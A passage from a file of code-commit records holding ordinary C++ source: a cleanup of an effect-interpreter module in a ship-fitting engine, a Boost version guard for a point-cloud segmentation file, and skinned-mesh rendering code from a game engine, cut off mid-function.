EffectAdaptiveArmorHardener(engine, isAssistance, isOffensive);\n\telse if (effectID == FUELED_SHIELD_BOOSTING_EFFECT_ID)\n\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, false, isAssistance, isOffensive);\n\telse\n\t\tinterpreter_ = new EffectByteCodeInterpreter(engine, byteCode, size, isAssistance, isOffensive);\n#if _DEBUG\n\tstd::string::iterator i, end = effectName_.end();\n\tfor (i = effectName_.begin(); i != end; i++)\n\t{\n\t\tchar c = *i;\n\t\tif (!((c >= 'a' && c <='z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9')))\n\t\t\t*i = ' ';\n\t}\n#endif\n}\n\nEffect::Effect(Engine* engine, TypeID effectID) : engine_(engine), effectID_(effectID)\n{\n\tEngine::ScopedLock lock(*engine_);\n\t\n\tstd::stringstream sql;\n#if _DEBUG\n\tsql << \"SELECT effectCategory, isOffensive, isAssistance, byteCode, effectName FROM dgmCompiledEffects WHERE effectID = \" << effectID;\n#else\n\tsql << \"SELECT effectCategory, isOffensive, isAssistance, byteCode FROM dgmCompiledEffects WHERE effectID = \" << effectID;\n#endif\n\t\n\tboost::shared_ptr<FetchResult> result = engine_->getSqlConnector()->exec(sql.str().c_str());\t\n\n\tif (result->next())\n\t{\n\t\tcategory_ = static_cast<Effect::Category>(result->getInt(0));\n\t\tbool isAssistance = result->getInt(1) != 0;\n\t\tbool isOffensive = result->getInt(2) != 0;\n\t\tsize_t size = result->getInt(3);\n\t\tBlob blob = result->getBlob(3);\n\t\t\n\t\tif (effectID == LEECH_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectLeechInterpreter(engine, isAssistance, isOffensive);\n\t\telse if (effectID == ENERGY_DESTABILIZATION_NEW_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectEnergyDestabilizationNewInterpreter(engine, isAssistance, isOffensive);\n\t\telse if (effectID == ENERGY_TRANSFER_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectEnergyTransferInterpreter(engine, isAssistance, isOffensive);\n\t\telse if (effectID == ARMOR_REPAIR_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectArmorRepairInterpreter(engine, false, isAssistance, isOffensive);\n\t\telse if (effectID == TARGET_ARMOR_REPAIR_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectArmorRepairInterpreter(engine, true, isAssistance, isOffensive);\n\t\telse if (effectID == STRUCTURE_REPAIR_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectHullRepairInterpreter(engine, false, isAssistance, isOffensive);\n\t\telse if (effectID == REMOTE_HULL_REPAIR_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectHullRepairInterpreter(engine, true, isAssistance, isOffensive);\n\t\telse if (effectID == SHIELD_BOOSTING_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, false, isAssistance, isOffensive);\n\t\telse if (effectID == SHIELD_TRANSFER_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, true, isAssistance, isOffensive);\n\t\telse if (effectID == SLOT_MODIFIER_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectSlotModifierInterpreter(engine, isAssistance, isOffensive);\n\t\telse if (effectID == HARD_POINT_MODIFIER_EFFECT_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectHardPointModifierEffectInterpreter(engine, isAssistance, isOffensive);\n\t\telse if (effectID == ADAPTIVE_ARMOR_HARDENER_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectAdaptiveArmorHardener(engine, isAssistance, isOffensive);\n\t\telse if (effectID == FUELED_SHIELD_BOOSTING_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, false, isAssistance, isOffensive);\n\t\telse\n\t\t\tinterpreter_ = new EffectByteCodeInterpreter(engine, reinterpret_cast<const Byte*>(blob.getMemory()), blob.getSize(), isAssistance, isOffensive);\n\t\t\n\t\t\n#if _DEBUG\n\t\teffectName_ = result->getText(4);\n\t\tstd::string::iterator i, end = effectName_.end();\n\t\tfor (i = effectName_.begin(); i != end; i++)\n\t\t{\n\t\t\tchar c = *i;\n\t\t\tif (!((c >= 'a' && c <='z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9')))\n\t\t\t\t*i = ' ';\n\t\t}\n#endif\n\t}\n}\n\nEffect::Effect(const Effect& from) : interpreter_(from.interpreter_->clone())\n{\n#if _DEBUG\n\teffectName_ = from.effectName_;\n#endif\n}\n\nEffect::~Effect(void)\n{\n\tEngine::ScopedLock lock(*engine_);\n\treusableEffects.erase(reusableEffects.find(effectID_));\n\tif (interpreter_)\n\t\tdelete interpreter_;\n}\n\nbool Effect::addEffect(Environment environment)\n{\n\treturn interpreter_->addEffect(environment);\n}\n\nbool Effect::removeEffect(Environment environment)\n{\n\treturn interpreter_->removeEffect(environment);\n}\n\nTypeID Effect::getEffectID() const\n{\n\treturn effectID_;\n}\n\nEffect::Category Effect::getCategory() const\n{\n\treturn category_;\n}\n\n#if _DEBUG\nconst char* Effect::getEffectName() const\n{\n\treturn effectName_.c_str();\n}\n\nstd::ostream& eufe::operator<<(std::ostream& os, eufe::Effect& effect)\n{\n\tos << \"{\\\"effectName\\\":\\\"\" << effect.effectName_<< \"\\\", \\\"effectID\\\":\\\"\" << effect.effectID_ << \"\\\"}\";\n\treturn os;\n}\n\n#endif\n<commit_msg>Cleanup<commit_after>#include \"Effect.h\"\n#include <iostream>\n#include <fstream>\n#include <ios>\n#include \"Compiler.h\"\n#include \"Ship.h\"\n#include \"Module.h\"\n#include <cctype>\n#include <algorithm>\n#include \"Item.h\"\n#include \"Attribute.h\"\n#include \"Engine.h\"\n#include \"Character.h\"\n\n#include \"Modifier.h\"\n#include \"LocationGroupModifier.h\"\n#include \"LocationRequiredSkillModifier.h\"\n\n#include \"EffectByteCodeInterpreter.h\"\n#include \"EffectLeechInterpreter.h\"\n#include \"EffectEnergyDestabilizationNewInterpreter.h\"\n#include \"EffectEnergyTransferInterpreter.h\"\n#include \"EffectArmorRepairInterpreter.h\"\n#include \"EffectHullRepairInterpreter.h\"\n#include \"EffectShieldBoostingInterpreter.h\"\n#include \"EffectSlotModifierInterpreter.h\"\n#include \"EffectHardPointModifierEffectInterpreter.h\"\n#include \"EffectAdaptiveArmorHardener.h\"\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/weak_ptr.hpp>\n\nusing namespace eufe;\n\nconst TypeID eufe::ONLINE_EFFECT_ID = 16;\nconst TypeID eufe::LO_POWER_EFFECT_ID = 11;\nconst TypeID eufe::HI_POWER_EFFECT_ID = 12;\nconst TypeID eufe::MED_POWER_EFFECT_ID = 13;\nconst TypeID eufe::RIG_SLOT_EFFECT_ID = 2663;\nconst TypeID eufe::SUBSYSTEM_EFFECT_ID = 3772;\nconst TypeID eufe::TURRET_FITTED_EFFECT_ID = 42;\nconst TypeID eufe::LAUNCHER_FITTED_EFFECT_ID = 40;\n\nconst TypeID eufe::MINING_LASER_EFFECT_ID = 61;\nconst TypeID eufe::POWER_BOOSTER_EFFECT_ID = 48;\nconst TypeID eufe::PROJECTILE_FIRED_EFFECT_ID = 34;\nconst TypeID eufe::TARGET_ATTACK_EFFECT_ID = 10;\nconst TypeID eufe::USE_MISSILES_EFFECT_ID = 101;\n\nconst TypeID eufe::LEECH_EFFECT_ID = 3250;\nconst TypeID eufe::ENERGY_DESTABILIZATION_NEW_EFFECT_ID = 2303;\nconst TypeID eufe::ENERGY_TRANSFER_EFFECT_ID = 31;\n\nconst TypeID eufe::WARP_DISRUPTION_FIELD_EFFECT_ONLINE_EFFECT_ID = 3461;\n\nconst TypeID eufe::ARMOR_REPAIR_EFFECT_ID = 27;\nconst TypeID eufe::TARGET_ARMOR_REPAIR_EFFECT_ID = 592;\nconst TypeID eufe::SHIELD_BOOSTING_EFFECT_ID = 4;\nconst TypeID eufe::SHIELD_TRANSFER_EFFECT_ID = 18;\nconst TypeID eufe::STRUCTURE_REPAIR_EFFECT_ID = 26;\nconst TypeID eufe::REMOTE_HULL_REPAIR_EFFECT_ID = 3041;\nconst TypeID eufe::SLOT_MODIFIER_EFFECT_ID = 3774;\nconst TypeID eufe::HARD_POINT_MODIFIER_EFFECT_EFFECT_ID = 3773;\n\nconst TypeID eufe::ONLINE_FOR_STRUCTURES_EFFECT_ID = 901;\n\nconst TypeID eufe::ADAPTIVE_ARMOR_HARDENER_EFFECT_ID = 4928;\nconst TypeID eufe::FUELED_SHIELD_BOOSTING_EFFECT_ID = 4936;\n\nstatic std::map<TypeID, boost::weak_ptr<eufe::Effect> > reusableEffects;\n\nboost::shared_ptr<eufe::Effect> Effect::getEffect(Engine* engine, int effectID)\n{\n\tEngine::ScopedLock lock(*engine);\n\n\tstd::map<TypeID, boost::weak_ptr<eufe::Effect> >::iterator i, end = reusableEffects.end();\n\ti = reusableEffects.find(effectID);\n\tif (i == end) {\n\t\tboost::shared_ptr<Effect> effect(new Effect(engine, effectID));\n\t\treusableEffects[effectID] = boost::weak_ptr<Effect>(effect);\n\t\treturn effect;\n\t}\n\telse {\n\t\treturn i->second.lock();\n\t}\n}\n\n#if _DEBUG\nEffect::Effect(Engine* engine, TypeID effectID, Category category, const void* byteCode, size_t size, bool isAssistance, bool isOffensive, const char* effectName) : engine_(engine), effectID_(effectID), category_(category), effectName_(effectName)\n#else\nEffect::Effect(Engine* engine, TypeID effectID, Category category, const void* byteCode, size_t size, bool isAssistance, bool isOffensive) : engine_(engine), effectID_(effectID), category_(category)\n#endif\n{\n\tif (effectID == LEECH_EFFECT_ID)\n\t\tinterpreter_ = new EffectLeechInterpreter(engine, isAssistance, isOffensive);\n\telse if (effectID == ENERGY_DESTABILIZATION_NEW_EFFECT_ID)\n\t\tinterpreter_ = new EffectEnergyDestabilizationNewInterpreter(engine, isAssistance, isOffensive);\n\telse if (effectID == ENERGY_TRANSFER_EFFECT_ID)\n\t\tinterpreter_ = new EffectEnergyTransferInterpreter(engine, isAssistance, isOffensive);\n\telse if (effectID == ARMOR_REPAIR_EFFECT_ID)\n\t\tinterpreter_ = new EffectArmorRepairInterpreter(engine, false, isAssistance, isOffensive);\n\telse if (effectID == TARGET_ARMOR_REPAIR_EFFECT_ID)\n\t\tinterpreter_ = new EffectArmorRepairInterpreter(engine, true, isAssistance, isOffensive);\n\telse if (effectID == STRUCTURE_REPAIR_EFFECT_ID)\n\t\tinterpreter_ = new EffectHullRepairInterpreter(engine, false, isAssistance, isOffensive);\n\telse if (effectID == REMOTE_HULL_REPAIR_EFFECT_ID)\n\t\tinterpreter_ = new EffectHullRepairInterpreter(engine, true, isAssistance, isOffensive);\n\telse if (effectID == SHIELD_BOOSTING_EFFECT_ID)\n\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, false, isAssistance, isOffensive);\n\telse if (effectID == SHIELD_TRANSFER_EFFECT_ID)\n\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, true, isAssistance, isOffensive);\n\telse if (effectID == SLOT_MODIFIER_EFFECT_ID)\n\t\tinterpreter_ = new EffectSlotModifierInterpreter(engine, isAssistance, isOffensive);\n\telse if (effectID == HARD_POINT_MODIFIER_EFFECT_EFFECT_ID)\n\t\tinterpreter_ = new EffectHardPointModifierEffectInterpreter(engine, isAssistance, isOffensive);\n\telse if (effectID == ADAPTIVE_ARMOR_HARDENER_EFFECT_ID)\n\t\tinterpreter_ = new EffectAdaptiveArmorHardener(engine, isAssistance, isOffensive);\n\telse if (effectID == FUELED_SHIELD_BOOSTING_EFFECT_ID)\n\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, false, isAssistance, isOffensive);\n\telse\n\t\tinterpreter_ = new EffectByteCodeInterpreter(engine, byteCode, size, isAssistance, isOffensive);\n#if _DEBUG\n\tstd::string::iterator i, end = effectName_.end();\n\tfor (i = effectName_.begin(); i != end; i++)\n\t{\n\t\tchar c = *i;\n\t\tif (!((c >= 'a' && c <='z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9')))\n\t\t\t*i = ' ';\n\t}\n#endif\n}\n\nEffect::Effect(Engine* engine, TypeID effectID) : engine_(engine), effectID_(effectID)\n{\n\tEngine::ScopedLock lock(*engine_);\n\t\n\tstd::stringstream sql;\n#if _DEBUG\n\tsql << \"SELECT effectCategory, isOffensive, isAssistance, byteCode, effectName FROM dgmCompiledEffects WHERE effectID = \" << effectID;\n#else\n\tsql << \"SELECT effectCategory, isOffensive, isAssistance, byteCode FROM dgmCompiledEffects WHERE effectID = \" << effectID;\n#endif\n\t\n\tboost::shared_ptr<FetchResult> result = engine_->getSqlConnector()->exec(sql.str().c_str());\t\n\n\tif (result->next())\n\t{\n\t\tcategory_ = static_cast<Effect::Category>(result->getInt(0));\n\t\tbool isAssistance = result->getInt(1) != 0;\n\t\tbool isOffensive = result->getInt(2) != 0;\n\t\tBlob blob = result->getBlob(3);\n\t\t\n\t\tif (effectID == LEECH_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectLeechInterpreter(engine, isAssistance, isOffensive);\n\t\telse if (effectID == ENERGY_DESTABILIZATION_NEW_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectEnergyDestabilizationNewInterpreter(engine, isAssistance, isOffensive);\n\t\telse if (effectID == ENERGY_TRANSFER_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectEnergyTransferInterpreter(engine, isAssistance, isOffensive);\n\t\telse if (effectID == ARMOR_REPAIR_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectArmorRepairInterpreter(engine, false, isAssistance, isOffensive);\n\t\telse if (effectID == TARGET_ARMOR_REPAIR_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectArmorRepairInterpreter(engine, true, isAssistance, isOffensive);\n\t\telse if (effectID == STRUCTURE_REPAIR_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectHullRepairInterpreter(engine, false, isAssistance, isOffensive);\n\t\telse if (effectID == REMOTE_HULL_REPAIR_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectHullRepairInterpreter(engine, true, isAssistance, isOffensive);\n\t\telse if (effectID == SHIELD_BOOSTING_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, false, isAssistance, isOffensive);\n\t\telse if (effectID == SHIELD_TRANSFER_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, true, isAssistance, isOffensive);\n\t\telse if (effectID == SLOT_MODIFIER_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectSlotModifierInterpreter(engine, isAssistance, isOffensive);\n\t\telse if (effectID == HARD_POINT_MODIFIER_EFFECT_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectHardPointModifierEffectInterpreter(engine, isAssistance, isOffensive);\n\t\telse if (effectID == ADAPTIVE_ARMOR_HARDENER_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectAdaptiveArmorHardener(engine, isAssistance, isOffensive);\n\t\telse if (effectID == FUELED_SHIELD_BOOSTING_EFFECT_ID)\n\t\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, false, isAssistance, isOffensive);\n\t\telse\n\t\t\tinterpreter_ = new EffectByteCodeInterpreter(engine, reinterpret_cast<const Byte*>(blob.getMemory()), blob.getSize(), isAssistance, isOffensive);\n\t\t\n\t\t\n#if _DEBUG\n\t\teffectName_ = result->getText(4);\n\t\tstd::string::iterator i, end = effectName_.end();\n\t\tfor (i = effectName_.begin(); i != end; i++)\n\t\t{\n\t\t\tchar c = *i;\n\t\t\tif (!((c >= 'a' && c <='z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9')))\n\t\t\t\t*i = ' ';\n\t\t}\n#endif\n\t}\n}\n\nEffect::Effect(const Effect& from) : interpreter_(from.interpreter_->clone())\n{\n#if _DEBUG\n\teffectName_ = from.effectName_;\n#endif\n}\n\nEffect::~Effect(void)\n{\n\tEngine::ScopedLock lock(*engine_);\n\treusableEffects.erase(reusableEffects.find(effectID_));\n\tif (interpreter_)\n\t\tdelete interpreter_;\n}\n\nbool Effect::addEffect(Environment environment)\n{\n\treturn interpreter_->addEffect(environment);\n}\n\nbool Effect::removeEffect(Environment environment)\n{\n\treturn interpreter_->removeEffect(environment);\n}\n\nTypeID Effect::getEffectID() const\n{\n\treturn effectID_;\n}\n\nEffect::Category Effect::getCategory() const\n{\n\treturn category_;\n}\n\n#if _DEBUG\nconst char* Effect::getEffectName() const\n{\n\treturn effectName_.c_str();\n}\n\nstd::ostream& eufe::operator<<(std::ostream& os, eufe::Effect& effect)\n{\n\tos << \"{\\\"effectName\\\":\\\"\" << effect.effectName_<< \"\\\", \\\"effectID\\\":\\\"\" << effect.effectID_ << \"\\\"}\";\n\treturn os;\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Software License Agreement (BSD License)\n *\n *  Point Cloud Library (PCL) - www.pointclouds.org\n *\n *  All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions\n *  are met:\n *\n *   * Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above\n *     copyright notice, this list of conditions and the following\n *     disclaimer in the documentation and\/or other materials provided\n *     with the distribution.\n *   * Neither the name of Willow Garage, Inc. nor the names of its\n *     contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n *  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n *  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n *  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n *  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n *  POSSIBILITY OF SUCH DAMAGE.\n *\n * Author : Sergey Ushakov\n * Email  : mine_all_mine@bk.ru\n *\n *\/\n\n#include <pcl\/point_types.h>\n#include <pcl\/impl\/instantiate.hpp>\n#include <pcl\/segmentation\/min_cut_segmentation.h>\n#include <pcl\/segmentation\/impl\/min_cut_segmentation.hpp>\n\n\/\/ Instantiations of specific point types\nPCL_INSTANTIATE(MinCutSegmentation, PCL_XYZ_POINT_TYPES)<commit_msg>Fix: include only if boost version > 1.39.99<commit_after>\/*\n * Software License Agreement (BSD License)\n *\n *  Point Cloud Library (PCL) - www.pointclouds.org\n *\n *  All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions\n *  are met:\n *\n *   * Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above\n *     copyright notice, this list of conditions and the following\n *     disclaimer in the documentation and\/or other materials provided\n *     with the distribution.\n *   * Neither the name of Willow Garage, Inc. nor the names of its\n *     contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n *  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n *  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n *  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n *  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n *  POSSIBILITY OF SUCH DAMAGE.\n *\n * Author : Sergey Ushakov\n * Email  : mine_all_mine@bk.ru\n *\n *\/\n\n#include <boost\/version.hpp>\n#if BOOST_VERSION > 103999\n\n#include <pcl\/point_types.h>\n#include <pcl\/impl\/instantiate.hpp>\n#include <pcl\/segmentation\/min_cut_segmentation.h>\n#include <pcl\/segmentation\/impl\/min_cut_segmentation.hpp>\n\n\/\/ Instantiations of specific point types\nPCL_INSTANTIATE(MinCutSegmentation, PCL_XYZ_POINT_TYPES)\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  RudeSkinnedMesh.cpp\n *\n *  Bork3D Game Engine\n *  Copyright (c) 2009 Bork 3D LLC. All rights reserved.\n *\n *\/\n\n#include \"RudeSkinnedMesh.h\"\n\n\n#include \"RudeDebug.h\"\n#include \"RudeGL.h\"\n#include \"RudeFile.h\"\n#include \"RudePerf.h\"\n#include \"RudeTextureManager.h\"\n#include \"RudeTweaker.h\"\n\nbool gDebugAnim = false;\nRUDE_TWEAK(DebugAnim, kBool, gDebugAnim);\n\nfloat gDebugAnimFrame = 0;\nRUDE_TWEAK(DebugAnimFrame, kFloat, gDebugAnimFrame);\n\nRudeSkinnedMesh::RudeSkinnedMesh(RudeObject *owner)\n: RudeMesh(owner)\n, m_frame(0.0f)\n, m_fps(24.0f)\n, m_toFrame(0.0f)\n, m_animateTo(false)\n{\n}\n\nRudeSkinnedMesh::~RudeSkinnedMesh()\n{\n}\n\nint RudeSkinnedMesh::Load(const char *name)\n{\n\tRUDE_REPORT(\"RudeSkinnedMesh::Load %s\\n\", name);\n\t\n\tif(RudeMesh::Load(name))\n\t\treturn -1;\n\t\n\tfor(unsigned int i = 0; i < m_model.nNumMesh; i++)\n\t{\n\t\tSPODMesh *mesh = &m_model.pMesh[i];\n\t\t\n\t\tfor(int b = 0; b < mesh->sBoneBatches.nBatchCnt; b++)\n\t\t{\n\t\t\tint offset = mesh->sBoneBatches.pnBatchOffset[b];\n\t\t\tint end = mesh->sBoneBatches.pnBatchOffset[b+1];\n\t\t\t\n\t\t\tif(b == (mesh->sBoneBatches.nBatchCnt - 1))\n\t\t\t\tend = mesh->nNumFaces;\n\t\t\t\n\t\t\tint numfaces = (end - offset);\n\t\t\t\n\t\t\tRUDE_REPORT(\"  Mesh %d-%d: %d tris\\n\", i, b, numfaces);\n\t\t}\n\t\t\n\t\tRUDE_ASSERT(mesh->sBoneIdx.eType == EPODDataUnsignedByte, \"Bone indices must be unsigned byte\");\n\t\tRUDE_ASSERT(mesh->sBoneWeight.eType == EPODDataFloat, \"Bone weight must be float\");\n\t\tRUDE_ASSERT(mesh->sVertex.eType == EPODDataFloat, \"Mesh verts should be float\");\n\t}\n\n\t\/\/GLhandleARB g_vertexShader = glCreateShaderObjectARB( GL_VERTEX_SHADER_ARB );\n\t\n\treturn 0;\n\t\n}\n\nvoid RudeSkinnedMesh::SetFrame(float f)\n{\n\tm_animateTo = false;\n\tm_frame = f;\n}\n\nvoid RudeSkinnedMesh::AnimateTo(float f)\n{\n\tm_animateTo = true;\n\tm_toFrame = f;\n}\n\nvoid RudeSkinnedMesh::NextFrame(float delta)\n{\n\t\n\tif(m_animateTo)\n\t{\n\t\tif(m_toFrame > m_frame)\n\t\t{\n\t\t\tm_frame += delta * m_fps;\n\t\t\t\n\t\t\tif(m_frame > m_toFrame)\n\t\t\t{\n\t\t\t\tm_frame = m_toFrame;\n\t\t\t\tm_animateTo = false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_frame -= delta * m_fps;\n\t\t\t\n\t\t\tif(m_frame < m_toFrame)\n\t\t\t{\n\t\t\t\tm_frame = m_toFrame;\n\t\t\t\tm_animateTo = false;\n\t\t\t}\n\t\t}\n\t\t\n\t}\n\t\n\tm_model.SetFrame(m_frame);\n\t\n\tif(gDebugAnim)\n\t\tm_model.SetFrame(gDebugAnimFrame);\n}\n\n\nvoid RudeSkinnedMesh::Render()\n{\n\tRUDE_PERF_START(kPerfRudeSkinMeshRender);\n\t\n#ifdef RUDE_PALETTE_MATRIX_SKIN\n\t\n\tglMatrixMode(GL_MODELVIEW);\n\tPVRTMATRIX viewmat;\n\tglGetFloatv(GL_MODELVIEW_MATRIX, viewmat.f);\n\t\n\tRGL.Enable(kBackfaceCull, true);\n\t\n\tglCullFace(GL_FRONT);\n\tglFrontFace(GL_CW);\n\n\tRGL.EnableClient(kVertexArray, true);\n\tRGL.EnableClient(kTextureCoordArray, true);\n\t\n\tif(m_animate)\n\t{\n\t\tglEnable(GL_MATRIX_PALETTE_OES);\n\t\tglEnableClientState(GL_MATRIX_INDEX_ARRAY_OES);\n\t\tglEnableClientState(GL_WEIGHT_ARRAY_OES);\n\t}\n\t\n\tfor(int i = 0; i < m_model.nNumNode; i++)\n\t{\n\t\tSPODNode *node = &m_model.pNode[i];\n\t\t\n\t\tif(!node->pszName)\n\t\t\tcontinue;\n\t\tif(node->pszName[0] != 'M')\n\t\t\tcontinue;\n\t\t\n\t\tSPODMaterial *material = &m_model.pMaterial[node->nIdxMaterial];\n\t\tSPODMesh *mesh = &m_model.pMesh[node->nIdx];\n\t\t\n\t\tif(m_animate)\n\t\t{\n\t\t\tglMatrixIndexPointerOES(mesh->sBoneIdx.n, GL_UNSIGNED_BYTE, mesh->sBoneIdx.nStride, mesh->pInterleaved + (long) mesh->sBoneIdx.pData);\n\t\t\tglWeightPointerOES(mesh->sBoneWeight.n, GL_FLOAT, mesh->sBoneWeight.nStride, mesh->pInterleaved + (long) mesh->sBoneWeight.pData);\n\t\t}\n\t\t\n\t\tint textureid = material->nIdxTexDiffuse;\n\t\tif(textureid >= 0)\n\t\t\tRudeTextureManager::GetInstance()->SetTexture(m_textures[textureid]);\n\t\t\n\t\tunsigned short *indices\t= (unsigned short*) mesh->sFaces.pData;\n\t\t\n\t\tglVertexPointer(3, GL_FLOAT, mesh->sVertex.nStride, mesh->pInterleaved + (long)mesh->sVertex.pData);\n\t\t\n\t\tglTexCoordPointer(2, GL_FLOAT, mesh->psUVW->nStride, mesh->pInterleaved + (long)mesh->psUVW->pData);\n\t\t\n\t\tif((mesh->sVtxColours.n > 0) && (mesh->sVtxColours.eType == EPODDataRGBA))\n\t\t{\n\t\t\tRGL.EnableClient(kColorArray, true);\n\t\t\tglColorPointer(4, GL_UNSIGNED_BYTE, mesh->sVtxColours.nStride, mesh->pInterleaved + (long)mesh->sVtxColours.pData);\n\t\t}\n\t\telse\n\t\t\tRGL.EnableClient(kColorArray, false);\n\t\t\n\t\tint totalbatchcnt = 0;\n\t\t\n\t\tfor(int b = 0; b < mesh->sBoneBatches.nBatchCnt; b++)\n\t\t{\n\t\t\tint batchcnt = mesh->sBoneBatches.pnBatchBoneCnt[b];\n\n\t\t\tif(m_animate)\n\t\t\t{\n\t\t\t\tglMatrixMode(GL_MATRIX_PALETTE_OES);\n\t\t\t\n\t\t\t\tfor(int j = 0; j < batchcnt; ++j)\n\t\t\t\t{\n\t\t\t\t\tglCurrentPaletteMatrixOES(j);\n\t\t\t\t\t\n\t\t\t\t\t\/\/ Generates the world matrix for the given bone in this batch.\n\t\t\t\t\tPVRTMATRIX\tmBoneWorld;\n\t\t\t\t\tint i32NodeID = mesh->sBoneBatches.pnBatches[j + totalbatchcnt];\n\t\t\t\t\tm_model.GetBoneWorldMatrix(mBoneWorld, *node, m_model.pNode[i32NodeID]);\n\t\t\t\t\t\n\t\t\t\t\t\/\/ Multiply the bone's world matrix by the view matrix to put it in view space\n\t\t\t\t\tPVRTMatrixMultiply(mBoneWorld, mBoneWorld, viewmat);\n\t\t\t\t\t\n\t\t\t\t\t\/\/ Load the bone matrix into the current palette matrix.\n\t\t\t\t\tglLoadMatrixf(mBoneWorld.f);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\ttotalbatchcnt += batchcnt;\n\t\t\t\n\t\t\tint offset = mesh->sBoneBatches.pnBatchOffset[b] * 3;\n\t\t\tint end = mesh->sBoneBatches.pnBatchOffset[b+1] * 3;\n\t\t\t\n\t\t\tif(b == (mesh->sBoneBatches.nBatchCnt - 1))\n\t\t\t\tend = mesh->nNumFaces*3;\n\t\t\t\n\t\t\tint numidx = (end - offset);\n\t\t\t\n\t\t\tglDrawElements(GL_TRIANGLES, numidx, GL_UNSIGNED_SHORT, &indices[offset]);\n\t\t}\n\t\n\t}\n\t\n\tglDisable(GL_MATRIX_PALETTE_OES);\n\tglDisableClientState(GL_MATRIX_INDEX_ARRAY_OES);\n\tglDisableClientState(GL_WEIGHT_ARRAY_OES);\n\t\n#endif \/\/ RUDE_PALETTE_MATRIX_SKIN\n\n#ifdef RUDE_SOFTWARE_SKIN\n\n\t\n\tglMatrixMode(GL_MODELVIEW);\n\tPVRTMATRIX viewmat;\n\tglGetFloatv(GL_MODELVIEW_MATRIX, viewmat.f);\n\t\n\tRGL.Enable(kBackfaceCull, true);\n\t\n\tglCullFace(GL_FRONT);\n\tglFrontFace(GL_CW);\n\t\n\tRGL.EnableClient(kVertexArray, 